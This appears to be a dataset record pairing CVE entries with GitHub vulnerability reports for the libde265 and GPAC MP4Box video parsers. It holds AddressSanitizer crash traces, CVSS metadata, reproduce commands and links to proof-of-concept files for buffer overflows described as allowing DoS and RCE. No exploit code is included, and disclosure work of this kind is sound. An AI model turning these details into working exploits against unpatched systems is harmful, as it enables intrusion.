#4 0x7f8966bf3a8b in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x19ba8b)
#5 0x7f8966c00a2e in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1a8a2e)
#6 0x7f8966c3dd2a in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e5d2a)
#7 0x7f8966c3f774 in read_coding_unit(thread_context*, int, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e7774)
#8 0x7f8966c40762 in read_coding_quadtree(thread_context*, int, int, int, int) [clone .localalias] (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e8762)
#9 0x7f8966c405a3 in read_coding_quadtree(thread_context*, int, int, int, int) [clone .localalias] (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e85a3)
#10 0x7f8966c405a3 in read_coding_quadtree(thread_context*, int, int, int, int) [clone .localalias] (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e85a3)
#11 0x7f8966c405a3 in read_coding_quadtree(thread_context*, int, int, int, int) [clone .localalias] (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e85a3)
#12 0x7f8966c37d49 in read_coding_tree_unit(thread_context*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1dfd49)
#13 0x7f8966c40f06 in decode_substream(thread_context*, bool, bool) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1e8f06)
#14 0x7f8966c42c3f in read_slice_segment_data(thread_context*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1eac3f)
#15 0x7f8966b95e6f in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x13de6f)
#16 0x7f8966b96673 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x13e673)
#17 0x7f8966b95311 in decoder_context::decode_some(bool*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x13d311)
#18 0x7f8966b9505b in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x13d05b)
#19 0x7f8966b97be6 in decoder_context::decode_NAL(NAL_unit*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x13fbe6)
#20 0x7f8966b9824c in decoder_context::decode(int*) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x14024c)
#21 0x7f8966b7e3f2 in de265_decode (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1263f2)
#22 0x562ac9c989a5 in main (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/dec265/dec265+0x79a5)
#23 0x7f8966526d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#24 0x7f8966526e3f in __libc_start_main_impl ../csu/libc-start.c:392
#25 0x562ac9c967c4 in _start (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/dec265/dec265+0x57c4)
Address 0x7fffea52d35f is located in stack of thread T0 at offset 9391 in frame
#0 0x7f8966c02203 in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x1aa203)
This frame has 2 object(s):
[48, 9136) 'mcbuffer' (line 71)
[9392, 15072) 'padbuf' (line 129) <== Memory access at offset 9391 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/sumuchuan/Desktop/libde265_fuzz/libde265/build/libde265/libde265.so+0x17d304) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
Shadow bytes around the buggy address:
0x10007d49da10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49da20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49da30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49da40: 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2
0x10007d49da50: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
=>0x10007d49da60: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2[f2]00 00 00 00
0x10007d49da70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49da80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49da90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49daa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007d49dab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3829==ABORTING
```
# POC
[poc.zip](https://github.com/strukturag/libde265/files/10244685/poc.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Another stack-buffer-overflow in function void put_qpel_fallback<unsigned short>
|
https://api.github.com/repos/strukturag/libde265/issues/367/comments
| 3 |
2022-12-16T09:57:05Z
|
2023-01-24T16:21:23Z
|
https://github.com/strukturag/libde265/issues/367
| 1,499,914,232 | 367 |
CVE-2022-47656
|
2023-01-05T16:15:10.020
|
GPAC MP4box 2.1-DEV-rev617-g85ce76efd is vulnerable to Buffer Overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8273
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2353"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2353
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8273
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev617-g85ce76efd-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -cat poc_bof9.mp4
```
Crash reported by sanitizer
```
[HEVC] Error parsing NAL unit type 33
[HEVC] Error parsing Sequence Param Set
[HEVC] Error parsing NAL unit type 33
[HEVC] Error parsing Sequence Param Set
media_tools/av_parsers.c:8273:32: runtime error: index 159 out of bounds for type 'HEVC_RepFormat [16]'
```
# POC
[poc_bof9.zip](https://github.com/gpac/gpac/files/10247605/poc_bof9.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
buffer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8273
|
https://api.github.com/repos/gpac/gpac/issues/2353/comments
| 0 |
2022-12-16T17:03:35Z
|
2022-12-16T17:36:36Z
|
https://github.com/gpac/gpac/issues/2353
| 1,500,560,661 | 2,353 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.